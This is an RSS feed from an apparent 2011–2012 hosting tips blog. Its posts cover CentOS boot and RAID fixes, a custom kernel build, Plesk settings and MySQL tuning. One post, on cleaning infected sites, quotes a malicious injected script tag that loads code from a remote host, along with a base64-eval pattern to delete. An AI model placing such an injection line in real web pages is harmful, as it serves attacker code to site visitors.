<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Tech Stuff</title>
	<atom:link href="http://tech-stuff.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://tech-stuff.org</link>
	<description>Hosting Tips &#38; Tricks</description>
	<lastBuildDate>Tue, 10 Apr 2012 05:55:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Centos6.2 kernel panic on boot</title>
		<link>http://tech-stuff.org/centos6-2-kernel-panic-on-boot/</link>
		<comments>http://tech-stuff.org/centos6-2-kernel-panic-on-boot/#comments</comments>
		<pubDate>Tue, 10 Apr 2012 05:55:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cpanel]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[boot]]></category>
		<category><![CDATA[centos6]]></category>
		<category><![CDATA[dracut]]></category>
		<category><![CDATA[initramfs]]></category>
		<category><![CDATA[initrd]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=209</guid>
		<description><![CDATA[it seems that boot system (and many other things) on centos6 changed a little bit. Since today when I want to move disks from one server to another it was enough to boot the centos system in rescue, chroot, update kernel (to rebuild initrd needed for software raid and other modules), reinstall grub on boot [...]]]></description>
			<content:encoded><![CDATA[<p>it seems that boot system (and many other things) on centos6 changed a little bit.</p>
<p>Since today when I want to move disks from one server to another it was enough to boot the centos system in rescue, chroot, update kernel (to rebuild initrd needed for software raid and other modules), reinstall grub on boot partitions and voila all was fine.</p>
<p>Now Centos6 have a new feature called &#8220;dracut&#8221; which does not agree with the above solution (just throw a kernel panic &#8217;cause no root disk found, no raid started), so all you need to do is rebuild initrd (initramfs file) using dracut command line:</p>
<p>mv /boot/initramfs-$(uname -r).img /boot/initramfs-$(uname -r).img.old<br />
dracut &#8211;mdadmconf &#8211;force /boot/initramfs-$(uname -r).img $(uname -r)</p>
<p>important thing is to set the same name from /boot/initramfs-xxx.img here and in grub.conf and set the next parameter to the kernel version you will use after (if you have just boot in rescue).</p>
<p>After that system will boot just fine.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/centos6-2-kernel-panic-on-boot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cannot add disk to software raid &#8220;&#8211;re-add fails&#8221;</title>
		<link>http://tech-stuff.org/cannot-add-disk-to-raid/</link>
		<comments>http://tech-stuff.org/cannot-add-disk-to-raid/#comments</comments>
		<pubDate>Tue, 10 Apr 2012 05:45:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cpanel]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[centos6]]></category>
		<category><![CDATA[mdadm]]></category>
		<category><![CDATA[raid]]></category>
		<category><![CDATA[software]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=206</guid>
		<description><![CDATA[Just found a new bug on the latest mdadm-3.2.2-9.el6.x86_64 release in centos6.2! Once you remove a partition from a software raid (fail/remove) you can&#8217;t add it back. Error message is: &#8220;mdadm: /dev/sdxx reports being an active member for /dev/mdx, but a &#8211;re-add fails&#8221; All you need to do is zero the md info on the paertition [...]]]></description>
			<content:encoded><![CDATA[<p>Just found a new bug on the latest mdadm-3.2.2-9.el6.x86_64 release in centos6.2!</p>
<p>Once you remove a partition from a software raid (fail/remove) you can&#8217;t add it back. Error message is:</p>
<p>&#8220;mdadm: /dev/sdxx reports being an active member for /dev/mdx, but a &#8211;re-add fails&#8221;</p>
<p>All you need to do is zero the md info on the paertition with: mdadm &#8211;zero-superblock /dev/sda1</p>
<p>and then you can add it back to the raid device with: mdadm /dev/md0 &#8211;add /dev/sda1</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/cannot-add-disk-to-raid/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to compile custom kernel on Centos/Xen or optimize CS:S server</title>
		<link>http://tech-stuff.org/how-to-compile-custom-kernel-on-centosxen-or-optimize-css-server/</link>
		<comments>http://tech-stuff.org/how-to-compile-custom-kernel-on-centosxen-or-optimize-css-server/#comments</comments>
		<pubDate>Fri, 20 May 2011 14:05:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[cs:s]]></category>
		<category><![CDATA[kernel]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=199</guid>
		<description><![CDATA[To be able to perform a successful kernel build, you will need to install the following packages: yum groupinstall "Development Tools" # This will ensure that you have all the required tools for the build. yum install ncurses-devel # This is required to enable a make *config command to execute correctly. yum install qt-devel # This is only necessary if you wish to [...]]]></description>
			<content:encoded><![CDATA[<p>To be able to perform a successful kernel build, you will need to install the following packages:</p>
<ul>
<li><tt>yum groupinstall "Development Tools"</tt> # This will ensure that you have all the required tools for the build.</li>
<li><tt>yum install ncurses-devel</tt> # This is required to enable a make *config command to execute correctly.</li>
<li><tt>yum install qt-devel</tt> # This is only necessary if you wish to use make xconfig instead of make gconfig or make menuconfig.</li>
<li>The full kernel source tree.</li>
</ul>
<pre>yum install kernel-devel</pre>
<pre>or</pre>
<pre>yum install kernel-xen-devel</pre>
<p>As root, install the packages rpm-build, redhat-rpm-config and unifdef:</p>
<p>[root@host]# yum install rpm-build redhat-rpm-config unifdef</p>
<p>As an ordinary user, not root, create a directory tree based on ~/rpmbuild:</p>
<p>[user@host]$ mkdir -p ~/rpmbuild/{BUILD,RPMS,SOURCES,SPECS,SRPMS}</p>
<pre>[user@host]$ echo '%_topdir %(echo $HOME)/rpmbuild' &gt; ~/.rpmmacros</pre>
<p>Once you have located the source file, you can install it by running, for example:</p>
<p>[user@host]$ rpm -i http://mirror.centos.org/centos/5/updates/SRPMS/kernel-2.6.18-238.9.1.el5.src.rpm 2&gt;&amp;1 | grep -v mockb</p>
<p>Now that the source rpm is installed, unpack and prepare the source files:</p>
<p>[user@host]$ cd ~/rpmbuild/SPECS</p>
<pre>[user@host SPECS]$ rpmbuild -bp --target=`uname -m` kernel-2.6.spec 2&gt; prep-err.log | tee prep-out.log</pre>
<div id="content" dir="ltr" lang="en">
<p>The kernel source tree will now be found in the directory <tt>~/rpmbuild/BUILD/</tt>.</p>
</div>
<h2 id="head-87b9be9f01554c45ebab1d9cf76971348cafcb8e">Configuring the kernel</h2>
<p>With the buildroot correctly set up, it&#8217;s time to modify the kernel configuration. Change directory to ~/rpmbuild/BUILD/kernel-2.6.18/linux-2.6.18.<tt>`uname -m`</tt>/ and copy into this directory, as .config, one of two files:</p>
<pre>[user@host]$ cd ~/rpmbuild/BUILD/kernel-2.6.18/linux-2.6.18.`uname -m`</pre>
<p>Either -</p>
<p>[user@host]$ cp configs/kernel-2.6.18-`uname -m`[-type].config .config</p>
<p>- or -</p>
<p>[user@host]$ cp /boot/config-`uname -r` .config</p>
<p>First run make oldconfig. Now you should run either make menuconfig, make gconfig or make xconfig to customize the kernel configuration. Once complete, remember to save your changes.</p>
<p>For CS:S server :</p>
<p>############################</p>
<p>if this doesnt pop up a nice wizard, you will need to install ncurses-devel and ncurses.</p>
<p>Now we are inside menuconfig wizard change these settings:<br />
Processor type and features &#8212;&gt;<br />
NO	Tickless System (Dynamic Ticks)<br />
YES	High Resolution Timer Support<br />
Processor family (Hit Enter and choose your processor) &#8212;&gt;<br />
Preemption Model (Hit Enter and choose: Preemptible Kernel (Low-Latency Desktop))<br />
Timer frequency (Hit enter and choose: 1000 HZ) &#8212;&gt;</p>
<p>Power management options (ACPI, APM) &#8212;&gt;<br />
Disable everything except ACPI<br />
ACPI (Advanced Configuration and Power Interface) Support<br />
YES	ACPI Support<br />
CPU Frequency scaling &#8212;&gt; OFF</p>
<p>First off, lets edit include/linux/jiffies.h</p>
<p>scroll down and find this section:</p>
<div>
<div>Code:</div>
<div dir="ltr"><code>#elif HZ &gt;= 384 &amp;&amp; HZ &lt; 768<br />
# define SHIFT_HZ       9<br />
#elif HZ &gt;= 768 &amp;&amp; HZ &lt; 1536<br />
# define SHIFT_HZ       10<br />
#else<br />
# error You lose.<br />
#endif</code></div>
</div>
<p>and change it to this:</p>
<div>
<div>Code:</div>
<div dir="ltr"><code>#elif HZ &gt;= 384 &amp;&amp; HZ &lt; 768<br />
# define SHIFT_HZ       9<br />
#elif HZ &gt;= 768 &amp;&amp; HZ &lt; 1536<br />
# define SHIFT_HZ       10<br />
#elif HZ &gt;= 1536 &amp;&amp; HZ &lt; 3072<br />
# define SHIFT_HZ       11<br />
#else<br />
# error You lose.<br />
#endif</code></div>
</div>
<p>basically adding the 11th statement. Save that</p>
<p>Next we want to edit include/asm-&lt;distro&gt;/param.h<br />
where distro is your architecture type, basically asm-x86_64 for 64bit or asm-i386 for 32bit.</p>
<p>At the top of the file you will find this section</p>
<div>
<div>Code:</div>
<div dir="ltr"><code>#ifdef __KERNEL__<br />
# define HZ             CONFIG_HZ       /* Internal kernel timer frequency */<br />
# define USER_HZ        100            /* .. some user interfaces are in "ticks" */<br />
# define CLOCKS_PER_SEC         (USER_HZ)       /* like times() */<br />
#endif</code></div>
</div>
<p>Change the USER_HZ from 100 to 1500 and only that:</p>
<div>
<div>Code:</div>
<div dir="ltr"><code>#ifdef __KERNEL__<br />
# define HZ             CONFIG_HZ       /* Internal kernel timer frequency */<br />
# define USER_HZ        1500            /* .. some user interfaces are in "ticks" */<br />
# define CLOCKS_PER_SEC         (USER_HZ)       /* like times() */<br />
#endif</code></div>
</div>
<p>Save it. And thats it.</p>
<p>#####################################</p>
<p>Now you will need to modify the kernel specification file.</p>
<p>[user@host]$ cd ~/rpmbuild/SPECS</p>
<pre>[user@host SPECS]$ cp kernel-2.6.spec kernel-2.6.spec.distro
[user@host SPECS]$ vi kernel-2.6.spec</pre>
<p>&nbsp;</p>
<p>Add, as the first line of the .config file, either:</p>
<p># i386</p>
<p>- or -</p>
<p># x86_64</p>
<p>Copy the .config file back to the configs/ directory. This is basically the opposite of the earlier copy command:</p>
<p>[user@host]$ cp .config configs/kernel-2.6.18-`uname -m`[-type].config</p>
<p>The final step is to copy the entire contents of the configs/ directory to the ~/rpmbuild/SOURCES/ directory.</p>
<p>[user@host]$ cp configs/* ~/rpmbuild/SOURCES</p>
<p>Now you will need to modify the kernel specification file.</p>
<p>[user@host]$ cd ~/rpmbuild/SPECS</p>
<pre>[user@host SPECS]$ cp kernel-2.6.spec kernel-2.6.spec.distro
[user@host SPECS]$ vi kernel-2.6.spec</pre>
<p>At line 73, the definition of buildid is commented out. This must be uncommented and given a value to avoid a conflict with your currently installed kernel. Change the line in similar manner to the example below:</p>
<p>&nbsp;</p>
<pre>%define buildid .your_identifier</pre>
<div>
<table>
<tbody>
<tr>
<td></td>
<td colspan="2">There should be no space between the &#8220;%&#8221; and the word &#8220;define&#8221;.</td>
</tr>
</tbody>
</table>
</div>
<p>Starting at line 12418, there is a block of code that has to be commented out. This block of code begins with the statement #if a rhel kernel, apply the rhel config options. Comment out the following 25 lines to build customised CentOS-5 kernels ( <img title="&lt;!&gt;" src="http://wiki.centos.org/wiki/modern-CentOS/img/attention.png" alt="&lt;!&gt;" width="15" height="15" /> This step is not required to build customised CentOS-4 kernels.):</p>
<p>&nbsp;</p>
<pre>#if a rhel kernel, apply the rhel config options
#%if 0%{?rhel}
#  for i in %{all_arch_configs}
#  do
#    mv $i $i.tmp
#    $RPM_SOURCE_DIR/merge.pl $RPM_SOURCE_DIR/config-rhel-generic $i.tmp &gt; $i
#    rm $i.tmp
#  done
#%ifarch x86_64 noarch
#  for i in kernel-%{kversion}-x86_64*.config
#  do
#    mv $i $i.tmp
#    $RPM_SOURCE_DIR/merge.pl $RPM_SOURCE_DIR/config-rhel-x86_64-generic $i.tmp &gt; $i
#    rm $i.tmp
#  done
#%endif
#%ifarch ppc64 noarch
#  #CONFIG_FB_MATROX is disabled for rhel generic but needed for ppc64 rhel
#  for i in kernel-%{kversion}-ppc64.config
#  do
#    mv $i $i.tmp
#    $RPM_SOURCE_DIR/merge.pl $RPM_SOURCE_DIR/config-rhel-ppc64-generic $i.tmp &gt; $i
#    rm $i.tmp
#  done
#%endif
#%endif</pre>
<p>Finally, if you have any patches to apply, you need to make reference to them by adding two lines for each patch. After line 6320, which should be near the end of the patch declarations, add your declaration starting with the number 40000, so that your patch is not in any danger of conflicting with the RHEL/CentOS kernel patch space. For example:</p>
<p>&nbsp;</p>
<pre>Patch40000: my-custom-kernel.patch</pre>
<p>After line 12394 add the line to apply your patch. All you need to do is add is the patch number you declared earlier and rpmbuild will automagically apply it for you. For example:</p>
<p>&nbsp;</p>
<pre>%patch40000 -p1</pre>
<h2 id="head-1bdbef9520f6f16073699cec5681ad79077ba79b">Building the new kernel</h2>
<p>Start the build:</p>
<p>&nbsp;</p>
<pre>[user@host SPECS]$ rpmbuild -bb --target=`uname -m` kernel-2.6.spec 2&gt; build-err.log | tee build-out.log</pre>
<p>For kernels &gt;= 2.6.18-53.el5, you can add some useful options to the rpmbuild command by using the &#8211;with and/or &#8211;without flags and associated arguments. The options to note are:</p>
<p>&nbsp;</p>
<pre>--with baseonly
--with xenonly
--without up
--without xen
--without debug
--without debuginfo
--without fips
--without kabichk</pre>
<p>For example, to build just the base kernel packages use:</p>
<p>&nbsp;</p>
<pre>--with baseonly --without debug --without debuginfo</pre>
<p>To build just the xen kernel packages use:</p>
<p>&nbsp;</p>
<pre>--with xenonly --without debug --without debuginfo</pre>
<p>To build just the PAE kernel packages use:</p>
<pre>--without up --without xen --without debug --without debuginfo</pre>
<p>When the build completes, your custom kernel rpm files will be found in the ~/rpmbuild/RPMS/<tt>`uname -m`</tt>/ directory. Make sure that you install those files, as root, using a rpm -ivh kernel-*.rpmcommand. Note: If you have built a kernel version that is older than a currently installed version you will also have to use the &#8211;oldpackage flag with the rpm command.</p>
<p>UNDER NO CIRCUMSTANCES use a rpm -Uvh command to install your kernel as this will update (overwrite) the currently installed version. Hence if you have a problem with your custom kernel, you will not be able to revert to the previous, working, version.</p>
<p>Sources from:</p>
<p><a href="http://wiki.centos.org/HowTos/Custom_Kernel">http://wiki.centos.org/HowTos/Custom_Kernel</a></p>
<p><a href="http://wiki.centos.org/HowTos/I_need_the_Kernel_Source">http://wiki.centos.org/HowTos/I_need_the_Kernel_Source</a></p>
<p>and</p>
<p><a href="http://forums.srcds.com/viewtopic/8378/%7Bpage%7D">http://forums.srcds.com/viewtopic/8378/%7Bpage%7D</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/how-to-compile-custom-kernel-on-centosxen-or-optimize-css-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Where are the plesk key files?</title>
		<link>http://tech-stuff.org/where-are-the-plesk-key-files/</link>
		<comments>http://tech-stuff.org/where-are-the-plesk-key-files/#comments</comments>
		<pubDate>Fri, 22 Apr 2011 13:18:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[plesk8]]></category>
		<category><![CDATA[Plesk9]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=196</guid>
		<description><![CDATA[Where can we find the plesk key file (file containing the key)? Get the Key number/files from shell: 1. Parallels Panel 7.x &#8211; 8.x: # grep &#8216;Key number&#8217; /etc/psa/psa.key 2. Parallels Panel 9.x: grep &#8216;key-number&#8217; /etc/sw/keys/keys/key* Plesk for Windows: 1. In Plesk control panel go to Server, License Management and see the license number there. [...]]]></description>
			<content:encoded><![CDATA[<p>Where can we find the plesk key file (file containing the key)?</p>
<p>Get the Key number/files from shell:</p>
<p>1. Parallels Panel 7.x &#8211; 8.x:<br />
# grep &#8216;Key number&#8217; /etc/psa/psa.key</p>
<p>2. Parallels Panel 9.x:<br />
grep &#8216;key-number&#8217; /etc/sw/keys/keys/key*</p>
<p>Plesk for Windows:</p>
<p>1. In Plesk control panel go to Server, License Management and see the license number there.<br />
2. Use the command in the command prompt:<br />
&#8220;%plesk_bin%\keymng.exe&#8221; &#8211;get-key-number</p>
<p>key file on plesk windows is in:</p>
<p>C:\Program Files (x86)\Parallels\Plesk\admin\repository\keys\keyxxxxxx</p>
<p>when you change it , you have to delete C:\Program Files (x86)\Parallels\Plesk\admin\repository\registry.xml and it will be recreated after first accessing plesk interface.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/where-are-the-plesk-key-files/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to easy clean infected sites</title>
		<link>http://tech-stuff.org/how-to-easy-clean-infected-sites/</link>
		<comments>http://tech-stuff.org/how-to-easy-clean-infected-sites/#comments</comments>
		<pubDate>Wed, 13 Apr 2011 13:25:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cpanel]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[code injection]]></category>
		<category><![CDATA[fix code]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=192</guid>
		<description><![CDATA[When you experience code injection in your site and there is only appending of code to the end of your site files you can clean it with : cd to your site&#8217;s httpdocs and run: find .  -type f -exec sed -i &#8216;/oployau.fancountblogger.com/d&#8217; {} \; for lines like : js/ac_runactivecontent.js:document.write(&#8216;&#60;s&#8217;+'cript type=&#8221;text/javascript&#8221; src=&#8221;http://oployau.fancountblogger.com:8080/Link.js&#8221;&#62;&#60;/scr&#8217;+'ipt&#62;&#8217;); or just find [...]]]></description>
			<content:encoded><![CDATA[<p>When you experience code injection in your site and there is only appending of code to the end of your site files you can clean it with :</p>
<p>cd to your site&#8217;s httpdocs and run:</p>
<p>find .  -type f -exec sed -i &#8216;/oployau.fancountblogger.com/d&#8217; {} \;</p>
<p>for lines like :</p>
<p>js/ac_runactivecontent.js:document.write(&#8216;&lt;s&#8217;+'cript type=&#8221;text/javascript&#8221; src=&#8221;http://oployau.fancountblogger.com:8080/Link.js&#8221;&gt;&lt;/scr&#8217;+'ipt&gt;&#8217;);</p>
<p>or just</p>
<p>find . -name &#8220;*.php&#8221; -type f -exec sed -i &#8216;/eval(base64_decode(/d&#8217; {} \;</p>
<p>if you want to check/repair only php files with base64 encoded injection.</p>
<p>Of course you need shell access for this or you can just request you hosting guys to do it for you.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/how-to-easy-clean-infected-sites/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automatically suspending domains after update to Plesk9</title>
		<link>http://tech-stuff.org/automatically-suspending-domains-after-update-to-plesk9/</link>
		<comments>http://tech-stuff.org/automatically-suspending-domains-after-update-to-plesk9/#comments</comments>
		<pubDate>Fri, 08 Apr 2011 16:52:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[Plesk]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Plesk9]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=190</guid>
		<description><![CDATA[it turns out Plesk 9 has something called the &#8220;Overuse Policy&#8221; which is configured in &#8220;Resource Usage&#8221; for each client. Careful with this as you might upgrade from Plesk 8.x and it defaults to &#8220;Overuse is not allowed&#8221;, which causes the auto-suspend to be activated if any domains exceed their limits. To solve this you [...]]]></description>
			<content:encoded><![CDATA[<p>it turns out Plesk 9 has something called the &#8220;Overuse Policy&#8221; which is configured in &#8220;Resource Usage&#8221; for each client. Careful with this as you might upgrade from Plesk 8.x and it defaults to &#8220;Overuse is not allowed&#8221;, which causes the auto-suspend to be activated if any domains exceed their limits.</p>
<p>To solve this you can set this in psa database:</p>
<p>update cl_param set val = &#8216;false&#8217; where param = &#8216;OveruseBlock&#8217;;<br />
update dom_param set val = &#8216;false&#8217; where param = &#8216;OveruseBlock&#8217;;</p>
<p>so no client or domain will be suspended . The drawback is that clients will be able to overuse any limits like no of domains , databases ,email accounts&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech-stuff.org/automatically-suspending-domains-after-update-to-plesk9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Optimize mysql server/queries</title>
		<link>http://tech-stuff.org/optimize-mysql-serverqueries/</link>
		<comments>http://tech-stuff.org/optimize-mysql-serverqueries/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 07:25:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[hosting]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[optimization]]></category>

		<guid isPermaLink="false">http://tech-stuff.org/?p=180</guid>
		<description><![CDATA[On a mysql server there are a lot of queries to optimize and a lot of load generated by them. I&#8217;ll try to present the most usual optimization issues and how to identify them. First you&#8217;ll have to check mysql service settings . You can check them manually by following commands in mysql command line: [...]]]></description>
			<content:encoded><![CDATA[<p>On a mysql server there are a lot of queries to optimize and a lot of load generated by them. I&#8217;ll try to present the most usual optimization issues and how to identify them.</p>
<p>First you&#8217;ll have to check mysql service settings . You can check them manually by following commands in mysql command line:</p>
<p>mysql&gt;show variables;</p>
<p>or</p>
<p>mysql&gt;show variables like &#8216;%cache%&#8217;;</p>
<p>and</p>
<p>mysql&gt; show status;</p>
<p>you can check the counters and increase or decrease them according to their usage and limits.</p>
<p>The more easy way is to use some scripts to check mysql settings like  : MySQL performance tuning primer script (tuning-primer.sh).</p>
<p>First and most important optimization is to activate and set query_cache and query_cache_size to lower disk IO usage.</p>
<p>After that you will have to check the running queries . For that you&#8217;ll need to enable first :</p>
<p>log-slow-queries= /var/lib/mysql/mysql-slow.log</p>
<p>long-query-time=3</p>
<p>in my.cnf then touch /var/lib/mysql/mysql-slow.log and set owner as mysql user/group. You can optionally add &#8220;log-queries-not-using-indexes&#8221;</p>
<p>Open then /var/lib/mysql/mysql-slow.log and check slow queries one by one.</p>
<p>Not every query in the slow query logs is necessary a bad one. Look for queries where some of the following criteria are met:</p>
<p>A) &#8220;Rows_examined&#8221; is more than 2000</p>
<p>B) &#8220;Rows_examined&#8221; is less than 2000 but that query is being run 20 times a second.</p>
<p>C) &#8220;Rows_examined&#8221; is three times bigger than &#8220;Rows_sent&#8221;</p>
<p>(Note that these are rough criteria. Your mileage may vary depending upon your situation.)</p>
<p>Focus on the two or three worst queries at first. Once you&#8217;ve found a few, utilize the EXPLAIN statement to find a better way to restructure your query. See this link for an explanation and walkthrough of the EXPLAIN statement.</p>
<p>Now lets grep in the log file:</p>
<p>grep Rows_examined /var/lib/mysql/mysql-slow.log.old | sort -g -k9 -r |head -5</p>
<p>a sample result would be:</p>
<p># Query_time: 19  Lock_time: 0  Rows_sent: 31  Rows_examined: 6424367</p>
<p># Query_time: 58  Lock_time: 0  Rows_sent: 3886219  Rows_examined: 3886219</p>
<p># Query_time: 47  Lock_time: 0  Rows_sent: 3886219  Rows_examined: 3886219</p>
<p># Query_time: 40  Lock_time: 0  Rows_sent: 3886219  Rows_examined: 3886219</p>
<p># Query_time: 39  Lock_time: 0  Rows_sent: 3886219  Rows_examined: 3886219</p>
<p># search for the worst offender, here&#8217;s one way to do that:</p>
<p>grep -A 2 -B 2 3886219  /var/lib/mysql/mysql-slow.log</p>
<p># Time: 030611  18:49:05</p>
<p># User@Host: dbusername[dbusername] @ composer.com [166.233.115.222]</p>
<p># Query_time: 1  Lock_time: 0  Rows_sent: 3886219  Rows_examined: 3886219</p>
<p>SELECT msgs.*, username AS sender_username FROM msgs INNER JOIN users ON (users.id = msgs.sender_id) WHERE user_id=939 AND msgs.status != 1 AND del != 2 ORDER BY date DESC;</p>
<p># Open up a mysql shell to fix the problem:</p>
<p>[localhost]$ mysql -h mysql.exampledomain.com -u dbusername -pYOURPASSWORDHERENOSPACES dbname</p>
<p># EXPLAIN statement to show you how bad the query is.</p>
<p># Notice that 42000 rows rows of data are examined.</p>
<p>mysql&gt; EXPLAIN SELECT msgs.*, username AS sender_username FROM msgs INNER JOIN users ON (users.id = msgs.sender_id) WHERE user_id=939 AND msgs.status != 1 AND del != 2 ORDER BY date DESC;</p>
<p>+&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+</p>
<p>| table | type   | possible_keys | key     | key_len | ref            | rows  | Extra                      |</p>
<p>+&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+</p>
<p>| msgs  | ALL    | NULL          | NULL    |    NULL | NULL           | 3886219 | where used; Using filesort |</p>
<p>| users | eq_ref | PRIMARY       | PRIMARY |       8 | msgs.sender_id |     1 |                            |</p>
<p>+&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+</p>
<p>2 rows in set (0.00 sec)</p>
<p># How long does the query take before fixing?  About 1 second.</p>
<p># (slightly modified for demostration purposes, but same result still).</p>
<p>mysql&gt; SELECT count(*) FROM msgs INNER JOIN users ON (users.id = msgs.sender_id) WHERE user_id=939 AND msgs.status != 1 AND del != 2 ORDER BY date DESC;</p>
<p>+&#8212;&#8212;&#8212;-+</p>
<p>| count(*) |</p>
<p>+&#8212;&#8212;&#8212;-+</p>
<p>|      631 |</p>
<p>+&#8212;&#8212;&#8212;-+</p>
<p>1 row in set (1.03 sec)</p>
<p># You want to be indexing on stuff in your WHERE and JOIN statements.</p>
<p># specifically, where there is lots of uniqueness or &#8220;cardinality&#8221;.</p>
<p># user_id from above is really good, because there are lots of unique values</p>
<p># for user_id.  Same thing goes for users.id and msgs.sender_id</p>
<p># msgs.status won&#8217;t help that much (but won&#8217;t hurt) because mostly its values are</p>
<p># 0 and 1.  same thing goes for &#8220;del&#8221;.</p>
<p># Add an index on the user_id, and msgs.sender_id columns.</p>
<p># users.id is already indexed</p>
<p># Note: always try to add a key of length 10 first, it&#8217;s better (if possible).</p>
<p>mysql&gt; create index user_id_index on msgs(user_id(10));</p>
<p>ERROR 1089: Incorrect sub part key. The used key part isn&#8217;t a string, the used length is longer than the key part or the table handler doesn&#8217;t support unique sub keys</p>
<p>mysql&gt; create index user_id_index on msgs(user_id);</p>
<p>Query OK, 42857 rows affected (1.59 sec)</p>
<p>Records: 42857  Duplicates: 0  Warnings: 0</p>
<p>mysql&gt; create index sender_id_index on msgs(sender_id(10));ERROR 1089: Incorrect sub part key. The used key part isn&#8217;t a string, the used length is longer than the key part or the table handler doesn&#8217;t support unique sub keys</p>
<p>mysql&gt; create index sender_id_index on msgs(sender_id);</p>
<p>Query OK, 42858 rows affected (1.16 sec)</p>
<p>Records: 42858  Duplicates: 0  Warnings: 0</p>
<p># Check the indices, see if they look good.</p>
<p># They do look good.  Notice the high cardinatlity (uniqueness) of all three keys.</p>
<p>mysql&gt; show index from msgs;</p>
<p>+&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;+</p>
<p>| Table | Non_unique | Key_name        | Seq_in_index | Column_name | Collation | Cardinality | Sub_part | Packed | Comment |</p>
<p>+&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8212;-+&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;+</p>
<p>| msgs  |          0 | PRIMARY         |            1 | id          | A         |       42855 |     NULL | NULL   |         |</p>
<p>| msgs  |          1 | user_id_index   |            1 | user_id     | A         |        1224 |     NULL | NULL   |         |</p>
<p>| msgs  |          1 | sender_id_index |            1 | sender_id   | A         |        1071 |     NULL | NULL   |         |</p>
